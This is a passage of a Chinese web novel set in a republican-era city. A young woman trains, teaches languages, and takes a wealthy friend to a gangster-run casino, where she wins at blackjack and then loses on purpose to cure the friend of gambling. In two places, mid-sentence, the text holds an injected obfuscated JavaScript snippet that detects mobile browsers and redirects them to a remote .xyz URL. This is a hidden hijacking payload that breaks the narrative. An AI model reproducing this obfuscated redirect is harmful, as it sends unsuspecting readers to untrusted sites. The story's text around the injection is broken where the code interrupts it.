“那你又能得到什么快乐?我不想只有我自己……舒服。” 青年庆幸灯已全灭,两人裹在被子里,乔璃看不见他此话出口后的表情。 他确实是舒服的,非常……非常舒服。 乔璃因这句话眯起眼,眼中隐隐有些烦恼的黑:“我下次教表哥如何叫我快乐,表哥别被我吓到。” 周莲泱一时有些不敢问,犹犹豫豫,又咬牙去拽她的手:“说好了,不能只有我一人。” “表哥今夜真不想睡了?” 乔璃翻身挟住他,殷红的唇勾起,明晃晃有几分恶意,可惜对方看不到:“我明日要与雪辕打拳,白日到孟家骑马,晚上还得陪人去赌场……” “莲哥哥疼疼我,别把我榨空了。” 什么…… 这人简直倒打一耙。周莲泱扯开她乱摸腰窝的手,颇有些气急败坏:“你从哪里学来的这些话?什么……什么榨空?你有那物件么?” 乔璃又笑起来,搂过他的肩膀去亲他:“我没有,那我把表哥榨空,好不好?” 周莲泱知道自己实在是说不过她的,只好努力岔开话题:“囡儿,你怎么还要去赌场?” 赌场不是什么好地方,尤其是海市的赌场,都在各路帮派的把控下。腰缠万贯而来,囊中如洗而去,更可怕的是,赌瘾更似烟瘾,一旦染上,非把人敲骨吸髓,不死不罢休。 他知道乔璃聪明,所以更怕聪明用不对地方,反而害了自己。 谈起这个,乔璃倒有些兴意:“表哥别担心,若真如玉关柳所说,那同乐会场便是她想搭上的最粗那条线——裴大董开的。况且中外赌术与出千手法,我心中有数,待我看完,再同表哥讲。” 声音渐渐弱下去,怀里的女孩慢慢睡着了。哪怕乔璃仔细讲过,她与玉关柳的计划对周莲泱而言还是太过危险与不可控,但那毕竟是乔璃一心要走的那条路。 周莲泱的眼中忽就添了丝寂寞的神色。 她总会长大,她已经长大,并且将会飞到他视线所不能及的高远天空。 25.叁 风起同乐 大脑不再攫取过多的营养后,乔璃的身体在最后一轮成长期内不停强壮起来。随着免疫力增强,原本的咳喘与虚症也消失不见。 乔璃跟在严雪辕身后,两人都穿了一身便于行动的短衣。 这位又是刺客又是玉关柳保镖的女子虎虎生风打起拳,身法之灵活与她寡言少语甚至有些木讷的外在性格反差鲜明,未尝不是一种有利于其身份的伪装。 这套拳法也如主人一样,看似只是强身健体,却包含不少擒拿致命的杀人招式。连打两套下来,乔璃额头浮现一层薄汗,筋骨也倍感通畅。 “雪辕姊,我今日这几式发力正确么?” 严雪辕从思考到说话需要比常人更多一点的时间,但乔璃耐心等着。 “第二十三式,鹰擒兔,手指撑得还要再鼓一分。” 严雪辕抓住乔璃的手,把她掌心撑起。 “原来如此,是这样?好似确实能攥住更多东西。”女子认真思考片刻,很同意她的说法。 这种可以归类于古代武术的拳法乔璃上辈子接触不多,她从活动几下就上气不接下气,到能连打两套拳法,靠的更多是做医生时积累的锻炼知识。 恢复肌肉机能,定量的有氧运动自然是首选,可泰春班和附近都没有足够合适的运动场所。乔璃更不能到上西女中的操场跑步,那与她想塑造的大家闺秀面具相距甚远。 剩下的只有世界上最孤独运动之一——为了在没有器材的狭小场地维持体能而总结出来的训练项目,俯卧撑,深蹲,仰卧起坐,几种锻炼特殊部位肌肉的拉伸运动。 做得最热心的是被关进单人牢房的囚犯[1]。 严雪辕不动声色地看着她从微有薄汗到大汗淋漓。严家人的记忆力都很好,事无巨细都休想逃过眼睛,如果“极限”能够被数字计量,那么乔璃的所作所为是在把每一条筋骨每一块肌肉都强迫到不能再增一分的程度。 半年以来每日如此。 虽然那些动作简单又单调,但衣服下面开始浮现的肌肉线条无疑是其效果最好的证明。 乔璃的晨练还是用两套拳法收尾:“肌肉好酸,这两处普通运动很少能练到。雪辕姊,你真的很厉害。” 比她高出半个头的女人搜刮腹中用于面对夸奖的词句,这份努力被乔璃察觉,转首一笑,以臂肘相叩。 “接下去我不会再做错一步,下个月能教我更多的吗?” 严雪辕用力点点头。和乔璃在一起,她往往无需开口回应,也不担心是否会让对方觉得敷衍神游。只要相视一笑,一切便尽在不言中。 晨练完毕,已到了该去孟家的时辰。严雪辕为乔璃准备好了热水与简单的早食。 这些当然不是她的义务,更接近一种善意的关照。 与父亲的吩咐或母亲的命令无关,她只是想看看乔璃能做到什么地步。 当然,哪怕乔璃不在乎极限,大病初愈的身体也有极限。 一个时辰后,她在孟家学习骑马时一度脚软到险些从马背上栽下来,好在自己眼疾手快扯住缰绳,换来旁观者略显紧张的几声轻笑。 “乔小姐可小心着,虽然赛雪是母马,也有自己的怪脾气。若骑马的人弱于它,它会趁机反过来欺负人的。” 孟彩霞穿着一身火红的骑马服,驱策另一匹乌蹄白马在后院踱步。 她着装惯常素净利落,此刻换成明丽灿烂的新服,气质也足撑得起这样浓烈的颜色。银盆似的雪面丰润嫣红,抿唇而笑的风姿比起美艳不如说是俊俏。 看着让人心情挺好。 除此之外,孟大小姐还很有一种肖祖的大气,欣赏谁的能为,便能“折节下交”。与乔璃日常言谈,也如对闺中好友一样自然尊重。 乔璃学马,她不忍一个及笄未久的女孩与家里马师下人混在一起,便屈尊陪同,顺便看看笑话。 要知道,现在的笑话不看,过一会儿,就要反过来了。 下午乌云突然遮住头顶,紧接着下起了大雨。半个时辰的骑术课结束,乔璃应邀给孟彩霞和她的小妹孟幼霞教授俄语。 鄂罗斯那边说的语言,比起英法两种又是完全不同的系统。练多了大舌卷音,两姐妹口中干渴得沙沙作响,时不时得咽一口茶水。 孟幼霞与乔璃差不多年纪,平日在女中也是数一数二的优秀,这些日却感受到世界对每个人的对待真是无比不公平——如此拗口的语言,对面女子讲起来流畅动听,从自己口中说出,简直像大锯拉铁树,难听得恨不得找个地缝钻进去。 而听说乔小姐闲暇之余,还在同姐姐学霓国语言,又因霓国半本文字都借的华国,进度一日千里,不久便能如本地人一样地道了。 人与人有参差,孟幼霞很快意识到这个残酷的事实,更想快些掌握鄂罗斯语。可是嘴里这根舌头属于她,又在卷起来的时候不服从主人的意志,变成许多奇怪尖锐的什么声音。 “幼霞别急,学语言就和学骑马一样。你看我挥起皮鞭,到底是策马还是策我自己,只能看天意——但你究竟还是可以控制自己别咬舌头的。” 孟幼霞“噗”的一声笑了,差点真咬着舌尖:“就你促狭!看招!” 她伸手去捉对面女子的痒,对方连连告饶。孟彩霞在一旁看着,倒真觉得多了个妹妹似的,折腾得让人好气又好笑。 犹记距第一次见她,不过一年半载,印象却大不一样。她试图将前后两次印象作对比,却只能朦朦胧胧猜测是一种人成长起来的类似筋骨的东西。 偏晚时,梁慧秀会派汽车来孟家接人。乔璃坐在后院观景的圈椅里吃垫肚子的汤面,孟彩霞走来坐到身旁。 没有外人,孟彩霞当然不会挑剔乔璃甚是洒脱的姿势,她自己没少被指责过“一介女流”在外“抛头露面”,早已厌烦透顶。 之前玉关柳求上孟家,孟厚信苦恼该怎么安排这个说大不大说小不小可甚是麻烦的请托,孟彩霞反而自告奋勇,主动接下招待乔璃的任务,为此还受到几个孟家子弟的取笑。 若没有亲自接触,她哪能知道对方会讲这么多种语言?光这一点,交好就绝对不亏。 身边人用完汤面,孟彩霞赶紧找回偏离的思绪,她找她可不是为了谝闲传。 “不管怎么样,你去同乐赌场还是要小心。今日算是剪彩,裴大董一定出席。他以前在江皖一带时,就是有名的赌王。我再同你说一遍,可别不当回事:裴宗邺虽然比我父亲还年轻,但在青帮辈分极高,皖军好几个团长拜他为师,苏北土匪没有不知晓裴大董名号的。” “自他受辫军中人刺杀,伤一条腿后,便少现人前。除了以前建立的人脉,新人很难搭上他的线。便是孟家,也不过了解几个摆在明面上的忌讳,实际他是怎样一个人,我们完全不知道。” 乔璃就此思考着。 时间不早,大门外响起汽车的喇叭声,没过一会儿,就有梁家的一位保镖按响门铃。 随身保镖这种设定差不多是有钱人家小姐少爷的标配,但和现代相比,穿得不是清一色板正黑西服,而是长衣与中式长裤。 应该劝梁慧秀出资为保镖统一配套黑色中山装。 “看你这笑模样,女状元想什么呢?看来在家可玩得开心,说不定都把我忘了!” 梁慧秀从汽车里钻出来。她穿着一袭芭蕉黄印花缎的新旗袍,外披一件很洋气的滚白辫俏粉短斗篷,手上套着只飘蓝花的玻璃种手镯。头饰耳铛更不必提,一显出全身,就是“珠光宝气”的具现化。 乔璃站在原地欣赏了一会儿,却不妨将人瞅得耳根子发红,眼神转成纳罕。 梁慧秀瞪她一眼,用手在颊边扇风:“快进来,一会错过开场,可都怪你。” 说完,大小姐一溜烟钻回去,砰一声把车门砸上:要说她什么人都见过,什么都玩到了,连那些怪模怪样的西崽朋友也有好几个,怎么就突然被人看得脸红! 转念一想,肯定不是自己的问题,而是那些成绩好的聪明人都有古怪。她不计前嫌,当是心胸宽大,于是道:“你不准同我一起,叫语柔坐过来!” 结果,这时代的大家小姐出行,总有这样那样的磨蹭。等两辆汽车开到同乐会场,与一同来的几个公子哥汇合时,剪彩早已结束,来客们不是早互相谈得入港,就是扑进赌桌大赌特赌了。 “哼,都是你们慢吞,乌龟似的,错过好戏了!” 唐昕眼睁睁看着梁慧秀跳下车,花枝招展的,身旁是乔璃,身后有白语柔提包,再后跟着一个安南的少年仆从并两个人高马大的保镖。一个人,五双眼睛伴着,好骄傲的大小姐,好大的排场! 他虽然心里鄙薄这种与贤淑女子相差甚远的行为,对于梁慧秀的话语行动却是无一不奉承,接过话头就把孙金学与邱宇挤到后头去,不忘给白语柔飞个眼神。 今夜是正式的聚会,来往不是富婆就是大亨,女人们有穿西式礼裙的,也有中式旗袍,佩了一头一脸的金玉首饰。男人们清一色西服马褂,各个衣冠楚楚。 同乐会场自称全海市最大的赌场,装潢自然也赶得潮流,大厅天花板吊着好几支水晶灯,处处金碧辉煌。可能是为了显得文雅一些,角落里还放了一支弹钢琴唱歌的队伍,与满乾大花瓶和不老松盆景作伴,洋气掺中,未免有点不伦不类。 但任谁都看得出,这样一处地方、一款仿西方的流水席,到底要花进去多少金钱。 赌场中央开得宴会,比起处处模仿西洋、谈话甚是僵硬的社交场,更有许多话题。有些外国军官,还有几个面膛通红体型混圆的老爷们已经醉了,还不停向托着酒盘的男仆老妈子们要酒。 梁慧秀应付这些酒局晚宴自然不在话下。她年轻亮丽,又有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672580|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种骨子里养出来的娇贵矜傲,非寻常交际花能比,多么鲜研的衣料也压不住她本身的美艳。 梁大小姐把头仰得高高的,如同骄傲自在的天鹅,一般晚宴对于她,不过是炫耀自身的机会罢了。 可是唐昕领着她,几人拐进真正被划为赌场的地方,那里可没有梁慧秀所熟悉的一切:喧闹声与筹码撞击声在拐角便已清晰可闻,像是在告诉外界此销金窟内是何等豪华奢侈纸醉金迷;荷官“砰”的一声将色匣压下时,所有人都绷直了背、手指抠进掌心,面孔是如出一辙的狂热;扭曲的五官,举起的拳头,抽松的皮带…… 赌坊无限放大了金钱的神秘与刺激,却悄悄藏起真金白银下堆叠的无数血泪。血泪未见,光是这纷乱又奇妙的一致的氛围,已足够让梁慧秀踌躇犹豫,迟迟不敢进去了。 偏孙金学又嚷嚷开:“这会子可见了奇景哇!原来不是女状元害怕,是咱们的大小姐迈不开腿了!怎么地呢,这赌局还作不作数?” 梁慧秀刷地转过身去,啪的给了他一个巴掌:“你孙金学是哪路人物,敢出言激我?若我爹知道你撺掇我去赌,不管你,信不信他扒你爹的皮?” 孙金学被一个巴掌打歪了脸,索性不管不顾,一时什么胡言乱语都往出跑:“你以为你又算什么?要不是众姨太太都下不出个蛋,梁家怎么会放你这么个玩意在外看笑话?大家闺秀,我呸!谁不知道你娘怎么捣的鬼呢!” 唐昕一看这不是个事,想上去劝阻两人,却不妨被大小姐一拳扪了个眼冒金星,火气也窜起来了。 一时局面混乱,有人刚想暗中动作,却被横叉一杠子 “小姐少爷们,这不是给小孩闹的地方,仔细惹了不该惹的人。” 穿着一套簇新蓝罩褂、五大三粗的男人轻轻松松把掰扯在一起的梁小姐金少爷唐公子分开。 他和当下多半留着辫子的中年男性不同,一头黑发剃得只剩青皮,岩石般沟壑纵横的脸被一道劈拧了嘴唇的疤痕串起,没有表情也显得煞气惊人。 梁慧秀被他唬了一跳,表情透出点茫然,忍不住往仿贝壳的随身小包里摸,看着是想摸木仓,却捉了个空。 原来她自觉带了两个保镖谁也不怕,便没带用惯了的那把小手枪,结果保镖与眼前壮汉一比,全都成了秃尾巴鹌鹑。 金少爷抻着脖子要闹将起来,被来者大手一把掐住脸。 “赌,还是滚?” 他的声音听不出杀气腾腾,一双死灰色的眼锁过去,愣是叫孙金学出一后背冷汗。 那是一种纯粹有关生死的威逼。 其实这种公子哥儿最会察人眼色,壮汉不算什么,是他背后的人定然不是自己惹得起的,立刻蔫了一张脸,往后缩去了。 梁慧秀手心攥透了汗:她与孙金学闹起来,归根结底是为不入赌场,可眼下周遭人全都看过来,自己不进也得进,否则真会像这大汉说的一样,被“滚”出去! 那可太丢人现眼了! 骑虎难下时,一只干燥而温暖的手捉住她汗湿冰凉的掌。 乔璃低声唤梁慧秀回神,领着她,抢步从壮汉身边擦过:“慧秀,咱们进去罢。你看我给你赢尊真凤祥的金天鹅回来。” 梁慧秀愣着神,脖颈还因习惯而天鹅似地仰着,只会亦步亦趋跟在身后。 两位闺秀仿佛胸有成竹一般,施施然拐进去,丝毫没堕梁家的脸面,反衬身后几个男人灰头土脸、胆小如鼠。 耳边滑过“呼”的一声,风一样轻轻的笑。乔璃偏头用眼角余光扫去,在那个不起眼的幽暗角落,坐着一个黑沉沉的人影,嘴角微微掀扬,不知道在因什么而笑。 那人寂静的脸隐没在阴影里,只有一双手半露在微光中,盘着条一百零八菩提子念珠。 一双玉竹一样骨节分明的手,菩提珠在指间磨转,如同几线赤红血河流淌而过。因实在过于苍白,菩提念珠甚至将他的皮肤反衬出冰块的透明感。 这不知废过多少功夫保养的两只手,任谁看了,都要赞一句完美无瑕。 可这个男人是坐在轮椅上的,薄毯垂下的一半空空荡荡,遮掩着一段永久失去的肢体。那双手以外的部位竟有如此触目惊心的残缺,使完美也蒙上一层可怖的阴翳。 又或许,那抹阴翳并非出自什么残缺,而是他身上本来就缭绕一股怎么都抹不去的冰冷的血腥气。 他的眼明明笑看前方,略微上挑的凤眸微弯,却宛如一条毒蛇,盘桓在黑暗中,微微张开剧毒的獠牙。 乔璃与他的距离不算远,也不算近。 不算远,足以让他看见女子脸上挂着温柔可爱的微笑,却把杜鹃花儿似的裙摆走得如横截里杀将出来的刺客,形成一种出人意料、却颇为有趣的反差。 不算近,让人捕捉不到她漆黑的睫毛轻眨,掩去一丝快要打起哈欠的无聊与漠然。 26.肆 嘲金啐玉 二楼内场便是专供“有品位”的赌客游戏之所,光看赌筹便能窥得一二:外场最低便已从十银元赌起,不屑一角八分的小钱;到了内场,银元变成同乐会场专用的“台两”,金光闪闪一枚镀金铜币,五十银元才能换得一块,豪气得让人眼晕。这里的赌客们与外边也有些不一样,大多穿得文质彬彬,如公司小开或普通富商。 再往里面,转进暗室,或是三楼包厢,就是只面向签过协议、玩得不是铜板银元为赌注的贵宾了。 梁大小姐很是豪富,零花钱如流水,不愿意在嘈杂拥挤的外场,便要进内场看看热闹。乔璃和她,两人在内场转了半圈,大抵看过较陌生的西洋赌桌如“黑杰克”、“轮盘”与“百/家欢”,熟悉的中式赌法有“牌九”、“翻滩”,更多更杂的小桌子遍布角落,看得人眼晕。 她今晚包里放了三百多元的零花钱,光是这一笔钱,便能在海市好地段赁住两月的大房子。保镖身上,还有常带的应急五百元大通银行的银票子。 握着这些钱,梁慧秀很快找回十足的自信,扭头冲乔璃笑一笑:“今晚开场虽然被晦气人碰了一碰,进来之后的空气却实在是好,一定能玩得尽兴。我不懂,你看这些桌子,有会的么?尽管去玩。” 身旁有年轻男仆穿着板正西装,托着一盘香槟,恭恭敬敬送过来。见两个脸嫩的小姐凑在一起,还有会看眼色的女服务生捧着热毛巾,到身边轻声细语地介绍起赌桌的分布。 乔璃取过一杯香槟微微沾唇,目光扫一圈,指向玩牌九的赌桌:“慧秀,你在家也常打牌,不如先去看看?” 梁慧秀早就眼馋,只是她拆牌的本事差些,又早听过赌场荷官必会骗人的说法,微有踌躇。被乔璃强硬一拽,才半推半就地上了牌桌。 洗牌的荷官见她扔筹码扔得爽快,与端酒男仆对视一眼,互一个手势,便扬起大大的笑容。玩了几局,有乔璃从旁指导,梁慧秀居然赢多输少,三百银元的筹码,又多三枚台两。 到了翻滩,也就是“掰花子”的台桌,梁慧秀并不全然熟悉,但规则简单,不过是压豆子堆罢了。别人怎么下,她便也怎么压。次次压,次次中,便是没中,也不输钱,手里的筹码短短半个时辰,居然翻了一倍。 这还是梁大小姐第一次自己赚到什么钱,不过玩了几局牌九,压几次豆子。她晕晕乎乎的,帮她拎包的安南小仆笑花了脸恭维,她便抽出两枚台两扔给他:“也去玩一局。” 两人说话时,唐昕又凑过来,看梁慧秀这幅洒钱如流水的模样,噗嗤一笑:“总在小牌里转有什么意思?西洋的赌法试过了么?” 梁慧秀目光转转,看见内场中央有一个大赌桌,压钱的人围了一圈,上有一块龙飞凤舞的牌匾,上书“BLACK JACK”大字。乔璃磕磕她的手:“那边玩得是二十一点。” “什么是二十一点?” “庄家轮轮发牌,赌客对自己下注,若点数超过21,则是‘爆牌’,准21便赢,低于21,互比大小。” 这是个新鲜又简单的玩法,梁慧秀起了兴趣,又对乔璃道:“听起来你会玩?那我便看你玩,外人能押你么?” “别的赌场我不知道,这里大概可以。” 安南少年跟过来,紧张道:“我也陪小姐去这里。” “好哇,那咱们就一起看看怎么个玩法!” 到了新赌桌,梁慧秀与乔璃算作一人,定乔璃玩牌,梁慧秀只管押注。可第一局乔璃太过谨慎,牌凑到17,便不往上加,自然是有凑到21点的超过她。这下可把梁大小姐急到了,看过一局,她也明了规则,一拍赌桌:“这回你可得继续加!” 又凑到17,乔璃在梁慧秀目光威逼下无奈道:“继续。” 竟是一张A,能作1,也能做11用,本是张好牌,放在这里却很不合时宜——明牌的赌客们,最多的已凑到20,还有非明牌的庄家。 只听荷官笑道:“这位小姐,你还要继续翻牌吗?” 如果现在放弃,也是输钱,不如继续:“要。” 再翻,不大不小,正是一个“3”! 一声尖锐如鸣笛的呐喊从旁响起,乔璃捂住耳朵,梁大小姐捂着嘴,一把嗓子差点叫破屋顶:“21点,是21点!” 庄家亮牌,他爆了。 唯有乔璃这边,独一份的21,桌上所有筹码,都被金杆划到两人面前。 “你看你看,咱们就得多叫牌,随随便便停太胆小了!”梁慧秀双手搭在乔璃肩上,激动地前后摇晃。乔璃脸上只是笑:“慧秀啊,你还玩不玩了?” “当然玩,我觉得今天的运气就在这里,继续!” 没过多久,内场的正中心就喧沸起来,连带着三楼静处也听得一清二楚。 这样的喧闹,把之前在一楼巡视的疤面大汉也愕到了:今夜赌场,主子特地嘱咐过荷官们开门散财,不大不小,赢多输少让赌客们玩个乐子,何至于闹出这样大的动静? 然后就有一个男仆“噔噔噔”地跑上楼来,额头有汗:“ 青龙大爷,底下那个,那个不好了,咱们输了五千银元进去!” “冷静点!主子在这里休息,谁许你大呼小叫?”诨名青龙的疤面大汉低喝一声,“五千银元算什么?赶紧把事情说清楚!” “好了,没见过世面而已,你莫吓他。” 一把老式轮椅从黑暗中缓缓移出,橡木打磨得光亮,铁轮包着橡胶圈,几乎没什么声响。 男人双手握住侧边两道冷冰冰的铁环,一点点挪进亮处。他坐得笔直,右腕挂着条血红菩提子念珠,姿态颇为轩昂,仿佛身下轮椅不是一处牢笼,而是互为依托的战马。 男仆身形抖如筛糠,一下子跪了,头垂得低低的,道:“是……是黑杰克那处赌桌,有两位小姐在赌钱,不知怎么一直在赢……” 他话音未落,楼下又一阵轰鸣,听上去像是欢呼,想来赌场又被赢走一大笔钱。 男仆眼里的一大笔,在青龙看来不算什么,可主子的吩咐后还让赌客一直赢,荷官违背命令的行为让他颇为不快:“主子,你看要不要临时换人?” 能被他成为主子的,自然是赌场所有者、今夜过来观礼剪彩的裴宗邺。 从三楼扶拦往下看,能将底下几个大赌桌瞧得清清楚楚。眼下赌场最火热的一处,便是之前有过一面之缘的年轻小姐。 梁永祥的独女梁慧秀纨绔之名甚盛,果非轻得。但她身边的乔小姐却是第一次见。 站在聚光灯一样的众人瞩目中,她纤瘦挺拔的身形均凝未动,模糊能看清的面色很认真。沉静过了头,和周遭赌鬼、甚至是一脸狂热的梁大小姐仿佛居住在两个世界。 她不像在用真金白银作赌,那副表情更像…… 裴宗邺指尖轻点,勉强从记忆力挖掘出一个近似的形容:像考场上解数学题的学子。 看她的年纪身份,恐怕也正是个正在念女学的年轻人。 “那是梁师长家的女眷,赌赢是好运道,让她们尽情玩吧。”裴宗邺拨了几下念珠,淡淡道。 楼下,梁慧秀双指紧握着一枚沉甸甸的金筹,掌心早已被薄汗沁湿。荷官翻牌的声音几不可闻,她听来却恍似战鼓,连带着心跳也一下一下擂响。 桌上的筹码像潮水一样来回翻卷,短短一炷香,又是好几百银元翻到乔璃面前。 梁慧秀原本原本整整齐齐的鬓发,此刻早已松散几缕,贴在耳边,额角冒汗。那件芭蕉黄纹绣旗袍,领口暗扣不知何时解开一颗,露出被挠红一线的锁骨。 乔璃从怀里抽出一张帕子,一只手轻轻在她面前晃了晃:“擦汗么?” “擦什么汗?你还要不要牌?”梁慧秀几乎是吼出来的,声音嘶哑,嘴唇全是咬痕。 已经七千……乔璃已经赢了七千银元了…… 放在梁家,也足够几月花用,而这还没用到一个晚上。 乔璃摇摇头,笑叹了一口气,眼睛与同样满头大汗的荷官一对,道:“继续要牌。” 男人翻牌的手是颤抖的,翻到一半,几乎已提前绝望:庄家二十几连输,后面几乎都是all-in玩法,钱滚钱滚到七千银元。但这根本不可能,黑杰克的牌堆全都是提前调整过的,为的就是让庄家与赌客赢率二比一,绝不可能出现一边倒的局面! 除非……除非对面的赌客不仅记牌算牌,连利于庄家的列牌顺序,甚至他的动作习惯也全都摸得一清二楚。如果是这样的话,他几乎以为对面的不是个初入赌场的大家小姐,而是前些年叱咤皖地海市的赌神裴宗邺亲至! 这把——一定又是21点! “K!是K!她爆了!” 不知是谁一声大喊,荷官都不敢置信。 居然爆了! 乔璃微微一笑。 这一次爆,下一把还是爆,爆!爆!爆! 梁慧秀掐着自己的手,无声尖叫,和周围人一起,见证那七千银元,是怎么随着每一张扑克被掀起,从高高一叠,到如开闸的洪水,哗啦啦流尽的。 全场轰然。 “啊啊啊啊!”梁慧秀双眼赤红,指着荷官跳脚喊道,“你出千!你一定出千了!重新来,之前的不算!” 荷官好不容易扳回一城,也有点胡言乱语:“同乐会场绝没有出千的设置,你若怀疑,自己证明啊!” “慧秀,我们已没钱了。”乔璃从呆站在一旁一个时辰都没挪过脚步的女侍手里拿过一个毛巾卷,拭过脸上的汗。 裴宗邺捻着菩提子,只觉得那年轻姑娘拭过脸后,素无妆饰的脸在水晶灯下愈发显出种清透纯净的风致。尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687382|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其是那一双水盈盈的瞳仁,在如此混杂的气氛里,还是不变的清亮。 他将玩味的目光移开,扫过往下撸镯子的梁慧秀,冲青龙抬了抬下颌。 一场闹剧,也该结束了。 梁慧秀不可置信,却又被硬逼着扯下赌桌,她究竟还是畏惧这搅第二次局的疤面大汉。 她看着手里的镯子,这样一支好镯子,是舅舅费一番功夫寻找,花八百银元送她的生日礼物,她最爱重。 方才她明明赚了十个这样的镯子,明明赚了十个!怎么没过一会儿,十个玻璃种飘蓝花的玉镯全哗啦啦砸碎了? 她把玉镯紧紧贴在脸上,玉沁的冰凉根本压不下血液的滚烫与狂跳的心脏,梁慧秀转身抓住乔璃的袖子,视线近乎是哀恳了:“乔璃,我们再去,再去赌一轮别的好不好?我还有这支镯子,足足八百元!不让咱们玩黑杰克,咱们去赌别的!” “慧秀,我们已经没钱了。”乔璃静静看着她,被握着的手腕传来一阵很厉害的颤抖。 好友的眼睛如同两泉清透的井,汪着月光,比玉镯更多一分刺骨的凉。 这冰凉一下把梁慧秀浇醒了,她忽然记起来自己根本就不想赌的初衷。 她不知怎么就被裹挟进赌徒输赢的狂热,完全不能自已,顿时倒退一步,喉咙管里一时透不过气,冰麻麻的凉意从尾椎骨一径窜进后脑。 她已经把今晚带的钱全都输进去了,刚刚、她刚刚是还要继续赌吗! 梁慧秀脑门发胀,也不顾还在赌场里的几个朋友,拽着乔璃的手,后怕得掉了几颗金珍珠:“没钱了好,没钱了好,快走,快走!我要回家,我要回家!” 回家这句话一出来,梁慧秀自己都受不了,她平日是多么心高气傲的一个人,天不怕地不怕,赌场一遭却变得人不人鬼不鬼。周遭投来各种各样的视线——贪婪、嘲讽、讥笑,鄙夷,恶狠狠地扑上来,咬碎了她的自尊与傲慢。 可她终究是不敢再赌了!别提赌,就是踏进赌场也不敢了! 梁慧秀踉踉跄跄地往外跑,好歹是没忘了乔璃,可一钻进汽车,就狠狠地扑倒在后座,人瘫软下去,伏在手臂里,呜呜呜地哭起来。 这和她想得不一样,完全不一样!她差点完全不是自己了! “慧秀,你下次还来着玩么?” 乔璃坐到她身边,示意司机稍等众人,递过帕子,一面擦梁慧秀的脸,一边柔声问。 “不,当然不!叫我娘来,叫我爹、我舅舅来!我要扒了孙金学和孙家一家子的皮!” 梁慧秀咬牙切齿,越想越恼:“他就是要看我出丑!丢脸!” “你若坚持不赌,他也不会诳了你去。”乔璃道。 半晌,梁慧秀冷静下来,反手握住乔璃的手:“是我对不住你,非要你来这里。我和你发誓,再也不会来这种地方!” 乔璃端详她片刻,又给她揉了揉眼睛,手不知怎么一转,好几枚金灿灿的台两就晃花了梁慧秀的眼。 “再不来就好。不过,好在我们也没亏钱。余下来的,除掉你的本金,足够买一只真凤祥的金天鹅。” 梁慧秀身子一歪,整个人靠进后座,长大了嘴巴。 乔璃把台两放进她手里:“不过,我倒希望你留着这些台两自省。赌来的东西,背后没有劳动所得,是水中月、镜中花。来得快的东西,去的也一样快。哪怕换来金子,也比不上租界公园的白天鹅。” 梁慧秀收拢手掌,动作有些郑重,她鼻子又发酸了,小小声道:“谢谢你,乔璃,我懂了。” “可是,咱们不是全输光了吗?这些台两,又是从哪里得到的?” …… ——“你是说,梁大小姐身旁的女子,把筹码输了个精光,但在赌桌另一头下注的小厮最后倒赢了不少?” 裴宗邺看着跪在面前汇报的荷官,神色莫名。 “她叫什么。” “据说姓乔。您的意思是,她指点那小厮暗中赢钱?” “你去查一查。”裴宗邺颔首,一点青龙,“客气着些,不要扰了人家清净。” 又回看荷官:“这人不到家,换了吧。” 便有人将那嚎丧的荷官堵嘴拽下去。 换一个荷官不算大事,但令青龙纳罕的,是裴宗邺的第一道命令。 腿伤之后,主子就再未对哪个女性表现出什么兴趣,用女色套近乎的,都没什么好下场。 青龙与他有着过命的交情,表面主仆,实则与兄弟相差无几,见私下无人,便调侃道:“若真是个女学生怎么办?” 裴宗邺出着神,嘴角带着一点笑,慢半拍回神:“必然不是学生。” “怎么说?” “她把我的同乐会场当对梁小姐品德的教具,想来是个老师才对。” 27.伍 楚楚可怜 梁大小姐在同乐赌场丢了大丑,第二天就传出风声,要将害她先赢后输哭逃赌场的罪魁祸首赶出梁家交际圈。只可怜那位上西女校的女状元,削尖脑袋想挤入上流圈子,一朝得罪大小姐,接下来的日子就要麻烦重重。 唐昕唐公子是一个社交蝴蝶,明面暗中的潜规则谙熟于心,固然把丢了依仗的乔小姐视作一钩香肉,也绝不肯轻易得罪人。便是孙金学上门赔罪时说再不见乔小姐的身影,唐昕也要亲自带了礼去见一面才放心。 下午三点刚过几分,唐昕登门拜访梁慧秀,正好和出门打牌的王太太撞个正着。梁家的女主人身材丰满,容貌是辨不清年龄的明艳,出去打个牌,浑身上下也珠光宝气。 她的目光扫过唐昕,口头热络,眼睛底下露出一股记不得他是谁、拒人千里之外的傲慢姿态。 唐昕自诩出色人材,却总勾不住梁慧秀,又不被王金萍放在眼里,如何不气? 可再怎么气,连道好都不得搭理,也只能忍怒吞声:毕竟梁家大太太王金萍,投了个不费任何力气就当了人上人的好胎。王家是五桂一带的大地主,亲哥哥王金占年纪轻轻就有留洋陆军学校的经历,回国后不过十年,就爬到闽福省海军副都督的位置。 王金萍瞧中梁永祥的勇气能为,违抗母命,低嫁嫁到梁家。他当时还只是个小小的淮军队官,在大舅子的扶持下,因镇压天地拳会有功,果然爬到师长的位置。 有这样的家世,又自个挑了个好夫婿,任谁都要横行无忌。也就是生了女儿、年纪逐渐上来,梁大太太才勉强把目空一切的本性用慈母的外表掩盖三分。 在骄傲这一点上,梁慧秀和其母比起来,还不算出师呢。 在唐昕看来,再没有比这对母女凑在一起更讨人嫌的场面了。他平日恨不得躲着这位跋扈贵夫人走,今日却主动巴结,甚至帮忙提手袋,一直送人坐上小汽车。 